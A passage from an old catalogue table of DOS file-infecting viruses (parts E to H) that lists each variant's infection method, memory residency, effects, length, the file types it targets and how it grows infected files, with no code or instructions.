¦.SkidRow.415 ¦INT ¦BUFF¦ V ¦415 ¦ E * ¦ i ¦ 0, inserting ¦
¦.SkidRow.418 ¦INT ¦BUFF¦ - ¦418 ¦ E * ¦ i ¦ 0, inserting ¦
¦.SkidRow.427 ¦INT ¦BUFF¦ - ¦427 ¦ E * ¦ i ¦ 0, inserting ¦
¦.SkidRow.432 ¦INT ¦BUFF¦ V ¦432 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Sot ¦INT ¦MCB ¦ - ¦352 ¦ E * ¦ i ¦ 0, inserting ¦
¦.TheRat ¦INT ¦BUFF¦ Er ¦384 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Vvm.204 ¦INT ¦KEEP¦ - ¦204 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Vvm.205 (2)¦INT ¦KEEP¦ - ¦205 ¦ E * ¦ i ¦ 0, inserting ¦
¦.Vvm.207 ¦INT ¦KEEP¦ - ¦207 ¦ E * ¦ i ¦ 0, inserting ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Explorer.3037 ¦INFI¦MCB ¦ V ¦3037 ¦ .E&E .S ¦ e ¦ L ¦
¦Explorer.3063 ¦INFI¦MCB ¦ V ¦3063 ¦ .E&E .S ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Easy.200 ¦INT ¦MCB ¦ - ¦200 ¦ C ¦ e ¦ L ¦
¦EightTunes.1971¦INT ¦MCB ¦ S ¦1971 ¦ CE ¦ e ¦ L ¦
¦Ekko.291 ¦INT ¦MCB ¦ Er ¦291 ¦ C ¦ s ¦ L ¦
¦Ekoter.2000 ¦INT ¦MCB ¦ V ¦2000 ¦ C+boot ¦ s ¦ L ¦
¦Elaine.1127 ¦INT ¦MCB ¦ H ¦1127 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦Elene.1000 ¦INT ¦KEEP¦ VEr¦1000 ¦ CE * ¦ e ¦ L ¦
¦Em.1303 ¦FIND¦ - ¦ H ¦1303 ¦ .E * ¦ e ¦ L+p ¦
¦Enola.1183 ¦INT ¦MCB ¦ Ch ¦1183 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦ErasePT.512 ¦FIND¦ - ¦ H ¦512 ¦ .E+MBR* ¦ e ¦ L ¦
¦Eumel.381 ¦FIND¦ - ¦ - ¦381 ¦ .C ¦ e ¦ L ¦
¦Euskara.811 ¦FIND¦ - ¦ V ¦811 ¦ .C ¦ e ¦ L ¦
¦Evc.161 ¦INT ¦KEEP¦ HV ¦161 ¦ CE * ¦ s ¦ 0, overwrite ¦
¦Evgenich.161 ¦FIND¦ - ¦ - ¦161 ¦ C * ¦ s ¦ L ¦
¦Exp.1617 ¦INT ¦MCB ¦ HV ¦1617 ¦ CE * ¦ e ¦ L ¦
¦Explosion.1000 ¦INT ¦MCB ¦ V ¦1000 ¦ CE * ¦ e ¦ L ¦
¦Exterminate.1632INT ¦MCB ¦ V ¦1632 ¦ CE * ¦ e ¦ L+p ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part F
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Face.414 ¦INT ¦ADDR¦ V ¦414 ¦ .C&C * ¦ s ¦ L ¦
¦Face.2521 ¦INT ¦ * ¦ V ¦2521 ¦.C.E.S&CES*¦CEeSs¦ C,E-L+p, S-L+263 ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Fair.2083 (2)¦INT ¦MCB ¦ V ¦2083 ¦ CE * ¦ e ¦ L+p ¦
¦Fair.2340 ¦INT ¦MCB ¦ V ¦2340 ¦ CE * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Fans.500 ¦INT ¦MCB ¦ - ¦500 ¦ C * ¦ e ¦ L ¦
¦Fans.560 ¦INT ¦MCB ¦ - ¦560 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Favour.2576 ¦INT ¦MCB ¦ H ¦2576 ¦ CES * ¦ e ¦ L ¦
¦Favour.2608 ¦INT ¦MCB ¦ HV ¦2608 ¦ CES * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦FaXFree.AbstractINT ¦MCB ¦ - ¦1024 ¦ .E&E * ¦ e ¦ L+p ¦
¦.Fam ¦INT ¦KEEP¦ HV ¦2774 ¦ E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Find.229 ¦INT ¦DOSD¦ - ¦229 ¦ C * ¦ e ¦ L ¦
¦Find.512 ¦INT ¦MCB ¦ Er ¦512 ¦ E * ¦ e ¦ L ¦
¦Find.600 ¦INT ¦MCB ¦ - ¦600 ¦ E * ¦ e ¦ L ¦
¦Find.BigX ¦INT ¦MCB ¦ - ¦610 ¦ E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦First.343 ¦INT ¦MCB ¦ - ¦343 ¦ C * ¦ e ¦ L ¦
¦First.3032 ¦INT ¦MCB ¦ V ¦3032 ¦ CE * ¦ e ¦ L+p ¦
¦First.3173 ¦INT ¦MCB ¦ V ¦3173 ¦ CE * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Fish#6 (5)¦INT ¦MCB ¦ HV ¦3584 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Fisher.1100 ¦INT ¦MCB ¦ V ¦1100 ¦ C * ¦ e ¦ L ¦
¦Fisher.2420 ¦INT ¦MCB ¦ Ch ¦2420 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Fist.709 ¦INT ¦MCB ¦ Er ¦709 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦Fist.711 ¦INT ¦MCB ¦ - ¦711 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦Fist.927 ¦INT ¦MCB ¦ Er ¦927 ¦ CE+boot ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Flagyll.316 ¦INT ¦MCB ¦ H ¦316 ¦ .E * ¦ s ¦ 0, overwrite ¦
¦Flagyll.318 ¦INT ¦MCB ¦ H ¦318 ¦ .E ¦ s ¦ 0, overwrite ¦
¦Flagyll.349 ¦INT ¦INTB¦ V ¦349 ¦ .E * ¦ s ¦ L, companion ¦
¦Flagyll.369 ¦INT ¦MCB ¦ H ¦369 ¦ .E * ¦ s ¦ 0, overwrite ¦
¦Flagyll.371 ¦INT ¦MCB ¦ H ¦371 ¦ .E ¦ s ¦ 0, overwrite ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Flip.2153 ¦INT ¦MCB ¦ V ¦2153 ¦ CE+boot*¦ e ¦ L ¦
¦Flip.2343 ¦INT ¦MCB ¦ HV ¦2343 ¦ CE+boot*¦ e ¦ L ¦
¦Flip.2365 ¦INT ¦MCB ¦ HV ¦2365 ¦ CE+boot*¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Fog.AirRaid.1728INT ¦MCB ¦ - ¦1728 ¦ C * ¦ e ¦ L+? ¦
¦.1731 (2)¦INT ¦MCB ¦ - ¦1731 ¦ C * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Forever.896 ¦INT ¦MCB ¦ - ¦896 ¦ E * ¦ e ¦ L+p ¦
¦Forever.930 ¦INT ¦MCB ¦ - ¦930 ¦ E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Freddy.1663 ¦FIND¦ - ¦ H ¦1663 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦Freddy.1870 ¦INFI¦KEEP¦ H ¦1870 ¦ .C.E&CE* ¦ e ¦ C-L,E-L+p,COMND-0¦
¦Freddy.2271 ¦INFI¦MCB ¦ H ¦2271 ¦ .C.E&CE* ¦ e ¦ L+?,COMMAND.COM-0¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Freedom.2448 ¦INFI¦KEEP¦ HV ¦2448 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦Freedom.2560 ¦INFI¦KEEP¦ H ¦2560 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦Freedom.3600 ¦INT ¦MCB ¦ H ¦3600 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Fab.1755 ¦INT ¦MCB ¦ V ¦1755 ¦ E * ¦ s ¦ L ¦
¦Faerie.276 ¦FIND¦ - ¦ - ¦276 ¦ .C * ¦ e ¦ L ¦
¦Fafb.948 ¦INFI¦MCB ¦ - ¦948 ¦ .C.E * ¦ s ¦ L ¦
¦FairGround.813 ¦INT ¦MCB ¦ - ¦813 ¦ E * ¦ e ¦ L ¦
¦Fantasma.1000 ¦INT ¦MCB ¦ HV ¦1000 ¦ .C.E ¦ e ¦ L ¦
¦Fanthomas.1443 ¦INT ¦MCB ¦ Er ¦1443 ¦ CE+boot*¦ e ¦ C-L, E-L+p ¦
¦Fantomas.432 ¦INT ¦INTB¦ HV ¦432 ¦ .E&E * ¦ e ¦ L+p ¦
¦Farside.3008 ¦INT ¦MCB ¦ V ¦3008 ¦ CE * ¦CsEi ¦ L ¦
¦Fascist.442 ¦FIND¦ - ¦ V ¦442 ¦ .C * ¦ s ¦ L ++ ¦
¦Fatty.3008 ¦INT ¦MCB ¦ HEr¦3008 ¦ CE+boot ¦ e ¦ L ¦
¦FCB.384 ¦FIND¦ - ¦ H ¦384 ¦ .C.E ¦ s ¦ L ¦
¦Fcl.2044 ¦INT ¦MCB ¦ - ¦2044 ¦ CE * ¦ e ¦ L+? ¦
¦Fellow.1019 ¦INT ¦KEEP¦ V ¦1019 ¦ E * ¦ e ¦ L+p ¦
¦Fence.2089 ¦INT ¦MCB ¦ VS ¦2089 ¦ CE * ¦ e ¦ L ¦
¦FFC.1000 ¦INT ¦MCB ¦ Ch ¦1000 ¦ E * ¦ e ¦ L ¦
¦Ffff.432 ¦INT ¦INTB¦ H ¦432 ¦ .C&C * ¦ e ¦ L ¦
¦Fichv.897 ¦INFI¦KEEP¦ H ¦897 ¦ .E ¦ e ¦ L ¦
¦Finnish.378 ¦INT ¦MCB ¦ - ¦378 ¦ .C ¦ e ¦ L ¦
¦FinnPoly.2179 ¦INT ¦MCB ¦ V ¦2179 ¦ .C&C * ¦ e ¦ L+? ¦
¦Flaco.1330 ¦INT ¦MCB ¦ - ¦1330 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
¦Flex.491 ¦INT ¦MCB ¦ V ¦491 ¦ C * ¦ e ¦ L ¦
¦Floyd.1542 ¦INT ¦MCB ¦ V ¦1542 ¦ E * ¦ e ¦ L+p ¦
¦Fly.1769 ¦INT ¦MCB ¦ S ¦1769 ¦ CE * ¦ e ¦ L+p ¦
¦Fm.765 ¦FIND¦ - ¦ - ¦765 ¦ .C * ¦ s ¦ L ¦
¦Folks.618 ¦INT ¦MCB ¦ V ¦618 ¦ C * ¦ e ¦ L ¦
¦Fricker.395 ¦FIND¦ - ¦ V ¦395 ¦ .C * ¦ e ¦ L ¦
¦Frodo.4096 (2)¦INT ¦MCB ¦ HV ¦4096 ¦ CE * ¦ e ¦ L ¦
¦FrodoSoft.590 ¦FIND¦ - ¦ - ¦590 ¦ .C&C * ¦ e ¦ L ¦
¦Fsmm.2971 ¦INT ¦MCB ¦ Er ¦2971 ¦ .E&E * ¦ i ¦ L ¦
¦Fumble.867 ¦FIND¦ -* ¦ Ch ¦867 ¦ .C * ¦ e ¦ L ¦
¦Funky.692 ¦INT ¦MCB ¦ S ¦692 ¦ C * ¦ i,e ¦ L+p, 0 ¦
¦Future.3180 ¦INT ¦MCB ¦ - ¦3180 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Fy.338 ¦FIND¦ - ¦ Ch ¦338 ¦ .C * ¦ e ¦ L ¦
¦Fynov.4309 ¦INT ¦MCB ¦ HV ¦4309 ¦ .C.E&CE* ¦ e ¦ C-L+17, E-L ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part G
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Gallery.631 ¦INT ¦MCB ¦ - ¦631 ¦ .C&C * ¦ e ¦ L ¦
¦Gallery.782 ¦INT ¦MCB ¦ - ¦782 ¦ .C&C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦GCAE.Demo ¦FIND¦ - ¦ - ¦2264 ¦ .C * ¦ e ¦ L+? ¦
¦.Vimg ¦FIND¦ - ¦ V ¦997 ¦ .C * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Ginger.2691 ¦INT ¦MCB ¦ Er ¦2691 ¦ CE+boot *¦ e ¦ L ¦
¦Ginger.2774 ¦INT ¦MCB ¦ Er ¦2774 ¦ CE+boot *¦ e ¦ L ¦
¦Ginger.2782 ¦INT ¦MCB ¦ - ¦2782 ¦ CE+boot *¦ e ¦ L ¦
¦.Orsam.2624 ¦INT ¦MCB ¦ - ¦2624 ¦ CE+boot *¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦GoldBug (5)¦INT ¦HMA ¦ HCh¦1024 ¦ .E+boot* ¦ s ¦ L, companion ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦GreenMonster.711INT ¦MCB ¦ H ¦711 ¦ .C * ¦ e ¦ L+p ¦
¦GreenMonster.784INT ¦MCB ¦ - ¦784 ¦ .C * ¦ e ¦ L+p ¦
¦GreenMonster.839INT ¦MCB ¦ H ¦839 ¦ .C * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Grog.495 ¦FIND¦ - ¦ VCh¦495 ¦ .C * ¦ s ¦ L ¦
¦Grog.2075 ¦INT ¦MCB ¦ H ¦2075 ¦ .C.E&CE* ¦CsEe ¦ L ¦
¦Grog.2825 ¦INT ¦MCB ¦ H ¦2825 ¦ .C.E&CE* ¦CsEe ¦ C-L, E+256+p ¦
¦.4ever.1200 ¦INT ¦MCB ¦ VCh¦1200 ¦ .C * ¦ s ¦ L ¦
¦.Bog.233 ¦FIND¦ - ¦ - ¦233 ¦ .E * ¦ i ¦ 0, overwrite ¦
¦.Hop ¦FIND¦ - ¦ - ¦480 ¦ .C * ¦ i ¦ 0, inserting ¦
¦.Metafora ¦FIND¦ - ¦ V ¦1347 ¦ .C * ¦ s ¦ 0, companion ¦
¦.Miami ¦FIND¦ - ¦ - ¦926 ¦ .C * ¦ e ¦ L ¦
¦.NTA ¦FIND¦ - ¦ V ¦1016 ¦ .C * ¦ e ¦ L ¦
¦.Razor ¦FIND¦ - ¦ V ¦801 ¦ .C * ¦ e ¦ L ¦
¦.Sempre ¦FIND¦ - ¦ HV ¦377 ¦ CE * ¦ s+i ¦ 0, overwrite ¦
¦.WildCards ¦FIND¦ - ¦ V ¦798 ¦ .C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦G2.306 ¦FIND¦ - ¦ - ¦306 ¦ .C&C ¦ e ¦ L ¦
¦Galya.500 (2)¦INT ¦KEEP¦ HV ¦500 ¦ .C * ¦ e ¦ L ¦
¦Geek.734 ¦FIND¦ - ¦ V ¦734 ¦ .C.E ¦ s ¦ C-L, E-companion ¦
¦Genc.1000 ¦INT ¦MCB ¦ H ¦1000 ¦ C ¦ e ¦ L ¦
¦Gentry.1570 ¦INT ¦MCB ¦ V ¦1570 ¦ .C.E&CE* ¦ e ¦ L+(0-63) ¦
¦Getto.2000 ¦INT ¦MCB ¦ HV ¦2000 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Gexa.2324 ¦INT ¦MCB ¦ V ¦2324 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦Girl.1036 ¦FIND¦ - ¦ HV ¦1036 ¦ .C.E * ¦ e ¦ L ¦
¦Girls.1829 ¦FIND¦ - ¦ VEr¦1829 ¦ .C.E * ¦ e ¦ L+p ¦
¦Globus.1742 ¦INT ¦MCB ¦ - ¦1742 ¦ E * ¦ e ¦ L+p ¦
¦Gloomy.2000 ¦INT ¦MCB ¦ V ¦2000 ¦ .C.E&CE* ¦ i,e ¦ L ¦
¦Gluck.761 ¦INT ¦MCB ¦ V ¦761 ¦ C * ¦ e ¦ L ¦
¦Goblin.1759 ¦INT ¦MCB ¦ V ¦1759 ¦ E+boot* ¦ e ¦ L ¦
¦Goddamn.302 ¦FIND¦ - ¦ - ¦302 ¦ .C * ¦ e ¦ L ¦
¦Gorinich.776 ¦INT ¦MCB ¦ - ¦776 ¦ CE * ¦ e ¦ L ¦
¦Gorlovka.1022 ¦INT ¦MCB ¦ - ¦1022 ¦ CE * ¦CiEe ¦ C-0, E-L+p ¦
¦Gosha.1831 ¦INT ¦MCB ¦ - ¦1831 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦Gotcha.605 ¦INT ¦MCB ¦ - ¦605 ¦ C * ¦ e ¦ L ¦
¦Gotyou.5052 ¦FIND¦ - ¦ H ¦5052 ¦ .E ¦ e ¦ L+p ¦
¦Grace.1346 ¦INT ¦MCB ¦ V ¦1346 ¦ .C.E&CE* ¦ i ¦ C-L, E-L+? ¦
¦Granada.2765 ¦INT ¦KEEP¦ V ¦2765 ¦ C ¦ s ¦ L ¦
¦Gremlin.1405 ¦INT ¦MCB ¦ - ¦1405 ¦ CE * ¦ e ¦ L+? ¦
¦Gripe.1985 ¦INT ¦MCB ¦ - ¦1985 ¦ CE * ¦ e ¦ L+? ¦
¦GraveLion.2250 ¦INT ¦MCB ¦ V ¦2250 ¦ CE+boot*¦ e ¦ L+p ¦
¦Gregory.996 ¦FIND¦ - ¦HVEr¦996 ¦ .C * ¦ e ¦ L-1 or L-2 ¦
¦Grosser.607 ¦FIND¦ - ¦ - ¦607 ¦ .C&C * ¦ s ¦ L ¦
¦Grower.267 ¦FIND¦ - ¦ - ¦267 ¦ .C ¦ s ¦ L+? ¦
¦Grune.1241 ¦INT ¦MCB ¦ HV ¦1241 ¦ C ¦ e ¦ L ¦
¦Gunia.727 ¦FIND¦ - ¦ H ¦727 ¦ .E * ¦ e ¦ L ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part H
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Harlot.738 ¦INT ¦MCB ¦ - ¦738 ¦ C * ¦ e ¦ L ¦
¦Harlot.5632 (2)¦INT ¦MCB ¦ VEr¦5632 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦HarmWare.3516 ¦INT ¦UMB ¦ V ¦3516 ¦ CE * ¦ s ¦ 0, pack+insert ¦
¦HarmWare.3716 ¦INT ¦UMB ¦ V ¦3716 ¦ CE * ¦ s ¦ 0, pack+insert ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Harrier.4602 ¦INT ¦MCB ¦ VEr¦4602 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦Harrier.14058 ¦INT ¦KEEP¦ HV ¦14058¦ .C.E&CE* ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Headache.269 ¦INT ¦MCB ¦ - ¦269 ¦ .C ¦ s ¦ L ¦
¦Headache.624 ¦INT ¦MCB ¦ - ¦269 ¦ .C ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦HelloUser.402 ¦FIND¦ - ¦ - ¦402 ¦ .C * ¦ e ¦ L ¦
¦HelloUser.545 ¦FIND¦ - ¦ V ¦545 ¦ .C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Helloween.1063 ¦INT ¦MCB ¦ - ¦1063 ¦ E * ¦ e ¦ L ¦
¦Helloween.1182 ¦INT ¦MCB ¦ Ch ¦1182 ¦ CEO* ¦ e ¦ L ¦
¦Helloween.1160 ¦INT ¦MCB ¦ V ¦1160 ¦ CE ¦ e ¦ L ¦
¦Helloween.1227 ¦INT ¦MCB ¦ Ch ¦1227 ¦ CE * ¦ e ¦ L ¦
¦Helloween.1288 ¦INT ¦MCB ¦ Ch ¦1288 ¦ CE * ¦ e ¦ L ¦
¦Helloween.1376(2INT ¦MCB ¦ V ¦1376 ¦ CE * ¦ e ¦ L ¦
¦Helloween.1384 ¦INT ¦MCB ¦ V ¦1384 ¦ CE * ¦ e ¦ L ¦
¦Helloween.1447 ¦INT ¦MCB ¦ V ¦1447 ¦ CE * ¦ e ¦ L ¦
¦Helloween.1839 ¦INT ¦MCB ¦ V ¦1839 ¦ CE * ¦ e ¦ L ¦
¦Helloween.1888 ¦INT ¦MCB ¦ V ¦1888 ¦ CE * ¦ e ¦ L ¦
¦Helloween.2470 ¦INT ¦MCB ¦ VEr¦2470 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Hero.394 ¦INT ¦INTB¦ V ¦394 ¦ EO ¦ e ¦ L ¦
¦Hero.506 ¦INT ¦INTB¦ V ¦506 ¦ CEO ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦HH&H.4087 ¦INT ¦MCB ¦ V ¦4087 ¦ .C * ¦ e ¦ L ¦
¦HH&H.4091 ¦INT ¦MCB ¦ V ¦4091 ¦ .C * ¦ e ¦ L ¦
¦HH&H.4093 ¦INT ¦MCB ¦ V ¦4093 ¦ .C * ¦ e ¦ L ¦
¦HH&H.4115 ¦INT ¦MCB ¦ V ¦4115 ¦ .C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Hi.460 ¦INT ¦MCB ¦ - ¦460 ¦ E * ¦ e ¦ L ¦
¦Hi.802 ¦INT ¦MCB ¦ HCh¦802 ¦ E * ¦ e ¦ L ¦
¦Hi.892 ¦INT ¦MCB ¦ V ¦892 ¦ E * ¦ e ¦ L ¦
¦Hi.895 ¦INT ¦MCB ¦ S ¦895 ¦ E * ¦ e ¦ L ¦
¦Hi.924 ¦INFI¦MCB ¦ V ¦924 ¦ .E&E* ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Hitchcock.1238 ¦INT ¦MCB ¦ M ¦1238 ¦ C ¦ s ¦ L ¦
¦Hitchcock.1247 ¦INT ¦MCB ¦ M ¦1247 ¦ C ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦HLLC.4505 ¦FIND¦ - ¦ - ¦4045 ¦ .E ¦ s ¦ companion ¦
¦HLLC.5000 ¦FIND¦ - ¦ - ¦5000 ¦ .E * ¦ s ¦ companion ¦
¦HLLC.5808 ¦FIND¦ - ¦ - ¦5808 ¦ .E ¦ s ¦ companion ¦
¦HLLC.6888 ¦FIND¦ - ¦ - ¦6888 ¦ .E ¦ s ¦ companion ¦
¦HLLC.6752 ¦FIND¦ - ¦ - ¦6752 ¦ .E ¦ s ¦ companion ¦
¦HLLC.8736 ¦FIND¦ - ¦ - ¦8736 ¦ .E ¦ s ¦ companion ¦
¦.AIDS.8064 ¦FIND¦ - ¦ V ¦8064 ¦ .E * ¦ s ¦ companion ¦
¦.Ansjovis ¦FIND¦ - ¦ V ¦12695¦ .E ¦ s ¦ companion ¦
¦.April1st ¦FIND¦ - ¦ V ¦27825¦ .E * ¦ s ¦ companion ¦
¦.Bolek ¦FIND¦ - ¦ V ¦8096 ¦ .E * ¦ s ¦ companion ¦
¦.Chainik ¦FIND¦ - ¦ HVS¦12880¦ .E * ¦ s ¦ companion ¦
¦.CP ¦FIND¦ - ¦ VS ¦7508 ¦ .E * ¦ s ¦ companion ¦
¦.Delme ¦FIND¦ - ¦ V ¦8086 ¦ .C.E * ¦ s ¦ companion ¦
¦.Dope.4870 ¦FIND¦ - ¦ - ¦4870 ¦ .E * ¦ s ¦ companion ¦
¦.Dope.5219 ¦FIND¦ - ¦ - ¦5219 ¦ .E * ¦ s ¦ companion ¦
¦.Dosinfo ¦FIND¦ - ¦ HV ¦52480¦ .B * ¦ s ¦ companion ¦
¦.Enrico ¦FIND¦ - ¦ H ¦ ? ¦ .E ¦ s ¦ companion ¦
¦.Halley ¦FIND¦ - ¦ - ¦7856 ¦ .E * ¦ s ¦ companion ¦
¦.Hambre ¦FIND¦ - ¦ H ¦12573¦ .E * ¦ s ¦ companion ¦
¦.Idomoshe ¦FIND¦ - ¦ V ¦6896 ¦ .E ¦ s ¦ companion ¦
¦.Lab5 ¦FIND¦ - ¦ H ¦15856¦ .E * ¦ s ¦ companion ¦
¦.Mimicry ¦FIND¦ - ¦ - ¦ ? ¦ .C.E * ¦ s ¦ companion ¦
¦.Murmansk ¦FIND¦ - ¦ V ¦13277¦ .E * ¦ s ¦ companion ¦
¦.Pokusny ¦FIND¦ - ¦ HV ¦21603¦ .E * ¦ s ¦ companion ¦
¦.Rider ¦FIND¦ - ¦ V ¦4094 ¦ .E ¦ s ¦ companion ¦
¦.Quirk ¦FIND¦ - ¦ - ¦9977 ¦ .E ¦ s ¦ companion ¦
¦.Runme ¦FIND¦ - ¦ HV ¦27840¦CONFIG.SYS*¦ s ¦ companion ¦
¦.Slam ¦FIND¦ - ¦ HV ¦8176 ¦ .E ¦ s ¦ companion ¦
¦.Sounds ¦FIND¦ - ¦ - ¦6592 ¦ .E * ¦ s ¦ companion ¦
¦.Sputnic ¦FIND¦ - ¦ - ¦16622¦ .E * ¦ s ¦ companion ¦
¦.Srm ¦FIND¦ - ¦ - ¦16052¦ .E ¦ s ¦ companion ¦
¦.Vs&W.3966 ¦FIND¦ - ¦ V ¦3966 ¦ .E * ¦ s ¦ companion ¦
¦.Vs&W.5936 ¦FIND¦ - ¦ V ¦5936 ¦ .E * ¦ s ¦ companion ¦
¦.Unvisible (2)¦FIND¦ - ¦ V ¦14640¦ .E * ¦ s ¦ companion ¦
¦.Uri ¦FIND¦ - ¦ - ¦5616 ¦ .E * ¦ s ¦ companion ¦
¦.Worm.16850 ¦FIND¦ - ¦ - ¦16850¦ .E ¦ s ¦ companion ¦
¦.Worm.17690 (2)¦FIND¦ - ¦ V ¦17690¦ .C.E ¦ s ¦ companion ¦
¦ - - - - - - -T- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦HLLO.3522 ¦FIND¦ - ¦ H ¦3522 ¦ .C.E ¦ s ¦ L, overwrite ¦
¦HLLO.3855 ¦FIND¦ - ¦ H ¦3855 ¦ .C.E ¦ s ¦ L, overwrite ¦
¦HLLO.4032 ¦FIND¦ - ¦ H ¦4032 ¦ .C.E ¦ s ¦ L, overwrite ¦
¦HLLO.6144 ¦FIND¦ - ¦ HV ¦6144 ¦ .E ¦ s ¦ L, overwrite ¦
¦.AIDS.13952 (2)¦FIND¦ - ¦ H ¦13952¦ .C * ¦ s ¦ L, overwrite ¦
¦.CVirus.4316 ¦FIND¦ - ¦ HV ¦4316 ¦ .C.E ¦ s ¦ L, overwrite ¦
¦.CVirus.4317 ¦FIND¦ - ¦ HV ¦4316 ¦ .C.E ¦ s ¦ L, overwrite ¦
¦.CVirus.4736 ¦FIND¦ - ¦ HV ¦4736 ¦ .C.E ¦ s ¦ L, overwrite ¦
¦.Destroy ¦FIND¦ - ¦ HV ¦4592 ¦ .C.E ¦ s ¦ L, overwrite ¦
¦.DogWerks ¦FIND¦ - ¦ H ¦2951 ¦ .E ¦ s ¦ L, overwrite ¦
¦.Hacks ¦FIND¦ - ¦ HV ¦7760 ¦ .E * ¦ s ¦ L, overwrite ¦
¦.Harakiri ¦FIND¦ - ¦ HV ¦5488 ¦ .C.E ¦ s ¦ L, overwrite ¦
¦.Joker.10000 ¦FIND¦ - ¦ HV ¦10000¦ .E * ¦ s ¦ L, overwrite ¦
¦.Joker.11000 ¦FIND¦ - ¦ HV ¦11000¦ .E * ¦ s ¦ L, overwrite ¦
¦.Kamikaze ¦FIND¦ - ¦ H ¦4033 ¦ .E * ¦ s ¦ L, overwrite ¦
¦.Karma ¦FIND¦ - ¦ HV ¦2666 ¦ .C * ¦ s ¦ L, overwrite ¦
¦.M&M ¦FIND¦ - ¦ HV ¦8803 ¦ .E * ¦ s ¦ L, overwrite ¦
¦.Nazi ¦FIND¦ - ¦ H ¦4240 ¦ .E ¦ s ¦ L, overwrite ¦
¦.Nman.4317 ¦FIND¦ - ¦ H ¦4317 ¦ .C.E ¦ s ¦ L, overwrite ¦
¦.Nman.4734 ¦FIND¦ - ¦ H ¦4734 ¦ .C.E ¦ s ¦ L, overwrite ¦
¦.Nman.4830 ¦FIND¦ - ¦ H ¦4830 ¦ .C.E ¦ s ¦ L, overwrite ¦
¦.Nman.6286 ¦FIND¦ - ¦ H ¦6286 ¦ .C.E ¦ s ¦ L, overwrite ¦
¦.Not ¦FIND¦ - ¦ H ¦17924¦ .E.C * ¦ s ¦ L, overwrite ¦
